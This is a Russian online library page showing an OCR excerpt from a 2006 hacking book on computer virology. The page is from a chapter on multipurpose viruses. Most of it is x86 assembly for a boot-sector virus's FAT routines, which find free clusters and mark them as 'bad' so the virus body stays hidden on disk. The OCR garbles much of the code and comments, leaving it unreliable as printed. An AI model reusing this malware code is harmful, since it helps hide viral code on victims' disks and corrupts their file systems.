Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 84 85 86 87 88 89 < 90 > 91 92 93 94 95 96 .. 123 >> Следующая

на диске FORMATJD DB ? ;id дискового формата
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
SECS_PER_FAT DW? количество секторов на FAT SECS_PER_TRACK 0W?
;количество секторов на трек (одна головка)
HEADS DW ? количество головок на диск
Следующие данные находятся не в ЗС. Они инициализируются
;INIT_FAT_MANAGER
CURR_FAT_SEC DB ? ;текущий сектор FAT в памяти 0=не здесь
Следующая строка настраивается перед вызовом INIT_FAT_MANAGER и может
быть использована ее подпрограммами.
CURR_DISK DB ? '.текущий диск
Эта подпрограмма передает желаемое количество последовательных свободных
секторов в Ьх и пытается найти их на диске. Если удается, она возвращает
число строк FAT в сх и сбрасывает флаг с. Если нужное количество
свободных секторов не доступно, она возвращается с установленным флагом
с.
FIND_FREE:
mov al,[SECS_PER_CLUST] xor ah,ah xchg ax.bx xor dx,dx
div bx ;ах=требуемые кластеры, можно инкрементировать or dx.dx jz FF1
inc ax '.подстраиваем старое число секторов
FF1:
mov bx,ax ;требуемые кластеры в bx
xor dx.dx ;счетчик последовательных свободных секторов
ГЛАВА 7. Многоцелевые вирусы
mov [CURR_FAT_SEC],dl инициализируем подсистему
mov сх,2 .индекс кластеров, старт в 2
FFL1:
push bx
push сх
push dx
call GET FAT ENTRY .вносим значение записи FAT cx в ax pop dx pop cx pop
bx
or ax,ax ;запись нулевая?
jnz FFL2 ;нет, сброс счетчика секторов
add cR, [SECS_PER_CUUST] ;иначе инкрементируем счетчик секторов
adc dh.O
jmp SHORT FFL3
FFL2: xor dx.dx ; сброс счетчика секторов до нуля
FFL3: cmp dx.bx ;теперь достаточно секторов?
jne FFL4 ;да, закончить действие
inc сх ;иначе, проверить другой кластер
cmp cx,[MAX_CLUST] дозволенный максимум не превышен?
jnz FFL1 ;не, проверить другой
FFL4:
cmp dx.bx .достаточно секторов?
jc FFEX ;нет, выйти с установленным флагом с
FFL5:
mov al, [SECS_PER_CLUST] ;да, подстраиваем сх на точку старта
xor ah,ah
sub dx.ax
dec cx
or dx.dx
jnz FFL5
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
inc сх ;сх указывает на 1 -й свободный кластер в блоке clc .очистить флаг
переноса, чтобы указать на успех FFEX: ret
Эта подпрограмма метит секторы в сх как "плохие", начиная с кластера,
указанного в dx. Выполняется только тогда, когда сектор FAT находится в
памяти. Метки ставятся только в памяти. FAT нужно записать на диск,
используя UPDATE_FAT_SECTOR. Это сделает процесс пометок более
эффективным.
MARK_CLUSTERS: push dx
mov al,[SECS_PER_CUJST] xor ah.ah xchg ax.cx xor dx.dx
div cx ;ах=требуемые кластеры, можно инкрементировать or dx.dx jz MC1
inc ax подстраиваем старое число секторов
МС1:
mov сх.ах ;требуемые кластеры в Ьх
pop dx МС2: push сх push dx
call MARK_CLUST_BAD ;отмечаем требуемые FAT-кластеры,
;как "плохие" pop dx pop cx inc dx loop MC2 ret
ЛЛЛ
ГЛАВА 7. Многоцелевые вирусы
Эта подпрограмма отмечает один кластер, указанный в dx как "плохой".
Действие выполняется только в памяти. Предполагается, что нужный сектор
загружен в память. Работа будет сделана неверно, если мы отметим кластер,
который пересекает границу сектора в FAT.
MARK_CLUST_BAD: push dx mov cx.dx
call GET_FAT_OFFSET ; помещаем офсет FAT в bx
mov ax.bx
mov si,OFFSET SCRATCHBUF ;указываем нв буфер диска
and bx,1FFH ; получаем офсет в текущем загруженном секторе
pop сх ;получаем число секторов FAT
mov al.cl ;смотрим, четное или нечетное
shr al, 1 ;ставим нижний бит во флаг с
mov ax,(bx+si];получаем запись FAT перед ветвлением
jc МСВО ;нечетное - передать управление этому случаю
МСВЕ:
and ax.OFOOOH ;для четных записей - модифицировать
; младше 12 битов
or ax,0FF7H
MCBF.
cmp bx,511 ;если офсет=511, мы пересекли границу секторов
jz МСВЕХ ;передать управление этому случаю
mov [bx+si],ax
МСВЕХ:
ret
МСВО:
and ax,0000FH щля нечетных-модифиц ировать старшие 12 битов or ax,0FF70H
jmp SHORT MCBF
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Эта подпрограмма получает значение количества записей FAT в сх и
возвращает его в ах.
G ET_FAT_ENTRY: push сх
call GET_FAT_OFFSET .получаем офсет FAT в bx mov ax.bx
mov cl,9 '.определяем, какой сектор FAT нужен shr ax,cl
inc ax ;номер сектора теперь в al (1 =первый)
cmp al,[CURR_FAT_SEC] ;это текущий загруженный сектор FAT?
jz FATLD ;да, получить значение
push bx ;нет, загрузить новый сектор
call GET_FAT_SECTOR
pop bx
FATLD:
mov si.OFFSET SCRATCHBUF {указываем на буфер диска and bx,1FFH {получаем
офсет в текущем загруженном секторе pop сх {получаем количество секторов
FAT mov al.cl {смотрим, четное или нечетное
shr al, 1 {помещаем младший бит во флаг с
mov ax,[bx+si] {получаем запись FAT перед ветвлением jne GFEE {нечетное,
передаем управление этому случаю GFEO:
mov cl,4 ;для нечетных записей - сдвиг вправо на 4 бита
shr ах,cl ;и перемещение вниз
GFEE:
and ax.OFFFH {для четных записей-AND нижние 12 битов cmp bx,511 ;если
офсет=511, мы пересекли границу сектора jnz GFSBR ;если нет, выход, mov
ax.OFFFH {иначе притвориться, словно она занята GFSBR: ret
ГЛАВА 7. Многоцелевые вирусы
Эта подпрограмма читает требуемое число секторов FAT в aL Первый-1,
Предыдущая << 1 .. 84 85 86 87 88 89 < 90 > 91 92 93 94 95 96 .. 123 >> Следующая